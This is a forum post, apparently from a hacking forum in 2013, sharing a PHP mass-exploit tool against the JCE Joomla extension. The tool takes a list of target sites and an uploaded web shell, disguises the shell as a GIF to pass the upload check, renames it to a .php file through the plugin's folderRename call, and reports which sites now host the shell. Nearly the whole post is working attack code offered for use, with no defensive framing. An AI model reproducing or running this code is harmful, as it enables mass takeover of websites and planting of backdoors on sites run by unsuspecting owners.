cPanel Posted October 15, 2013 Report Posted October 15, 2013 (edited) <? # Priv 2013/02?><html><body bgcolor="#000000" link="#FF0000" alink="#FF0000" vlink="#FF0000"> <center><form action="" method="post" enctype="multipart/form-data"> <font color="#C0C0C0" size="7">JCE Joomla Extension Remote File Upload - Priv8</font><p><input type="text" name="shellname" value="a.php"><br><input type="file" name="datafile"><br><textarea cols=50 rows=20 name="sites" ></textarea><br><input type="submit" name="submit"></p></form><?PHPerror_reporting(0);if($_POST['submit']){$shellname=trim($_POST['shellname']);echo "<table border=1 height=100 widh=200 >";$sites=explode("\r\n",$_POST['sites']);foreach($sites as $sites2){ ################### ????? ??????? ????? ????? ################## $sites2=parse_url($sites2); $path=$sites2['path']; $host=$sites2['host']; if($sites2['port']==""){ $port=80;} else {$port=$sites2['port'];} $siite=$host.":".$port; if(!file_get_contents($_FILES['datafile']['tmp_name'])){die ('<h1><font color="red">cu de rola cade a porra da shell</font></h1>');} ################### ??????? ???????? ################## $connect=@fsockopen($host,$port,$dddddddd,$sssssss,10); if(!$connect){echo "<tr><td><font color='white'>http://$siite$path</font></td><td><font color='white'>No Response</font></td><td><a href='http://www.correspondances-manosque.org/cache/jce.php'><font color='white'>Try With Single</font></a></td></tr>"; } elseif($siite==":80\r\n"){} else{ ################### ??? ???? ??????? gif ################## $content = "GIF89a1\n"; $content .= file_get_contents($_FILES['datafile']['tmp_name']); $data = "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n"; $data .= "/\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n"; $data .= "0\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"Filedata\"; filename=\"0day.gif\"\r\n"; $data .= "Content-Type: image/gif\r\n\r\n"; $data .= "$content\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "0day\r\n"; $data .= "-----------------------------41184676334\r\n"; $data .= "Content-Disposition: form-data; name=\"action\"\r\n\r\n"; $data .= "upload\r\n"; $data .= "-----------------------------41184676334--\r\n\r\n\r\n\r\n"; $packet = "POST ".$path."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743 HTTP/1.1\r\n"; $packet .= "Host: ".$siite."\r\n"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE)\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n"; $packet .= "Accept-Language: en-us,en;q=0.5\r\n"; $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; $packet .= "Cookie: 6bc427c8a7981f4fe1f5ac65c1246b5f=9d09f693c63c1988a9f8a564e0da7743; jce_imgmanager_dir=%2F; __utma=216871948.2116932307.1317632284.1317632284.1317632284.1; __utmb=216871948.1.10.1317632284; __utmc=216871948; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)\r\n"; $packet .= "Connection: Close\r\n"; $packet .= "Proxy-Connection: close\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n\r\n\r\n\r\n"; $packet .= $data; ################## ?????????????????? ????? ?????? ############ fputs($connect,$packet); fclose($connect); ############### ?????????? ?????? ???? ??? .php ################# $connect1=@fsockopen($host,$port,$dddddddd,$sssssss,10); $packet = "POST ".$path."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n"; $packet .= "Host: ".$siite."\r\n"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n"; $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $packet .= "Accept-Language: en-US,en;q=0.8\r\n"; $packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n"; $packet .= "Accept-Encoding: deflate\n"; $packet .= "X-Request: JSON\r\n"; $packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n"; $ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"$shellname\"]}"; $packet .= "Content-Length: ".strlen($ren)."\r\n\r\n"; $packet .= $ren."\r\n\r\n"; fputs($connect1,$packet); fclose($connect1); ############################ ?????? ?? ???? ????? ########################################################################### $html=""; $connect2=@fsockopen($host,$port,$dddddddd,$sssssss,10); $packet = "Head ".$path."https://rstforums.com/forum/images/stories/".$shellname." HTTP/1.1\r\n"; $packet .= "Host: ".$siite."\r\n"; $packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n\r\n\r\n\r\n"; fputs($connect2,$packet); $finalsiite="http://".$siite.$path."https://rstforums.com/forum/images/stories/".$shellname; $finalsiite2="http://".$host.$path."https://rstforums.com/forum/images/stories/".$shellname; $tester=@file_get_contents($finalsiite); while(!feof($connect2)){ $html.=fgets($connect2);} if(stristr($html,'200 OK')!=true && !eregi('GIF89a1',$tester)){ echo "<tr><td><font color='red'>http://$siite$path</font></td><td><font color='red'>Exploit Failed</font></td><td><a href='http://www.correspondances-manosque.org/cache/jce.php'><font color='red'>Try With Single</a></font></td></tr>";} else{ echo "<tr><td><font color='green'>http://$siite$path</font></td><td><font color='green'>Exploit Succes</font></td><td><a href='$finalsiite'><font color='green'>$finalsiite2</a></font></td></tr>"; } fclose($connect2);} }echo "</table>";}?></center></body></html> Edited October 15, 2013 by TheTime Quote
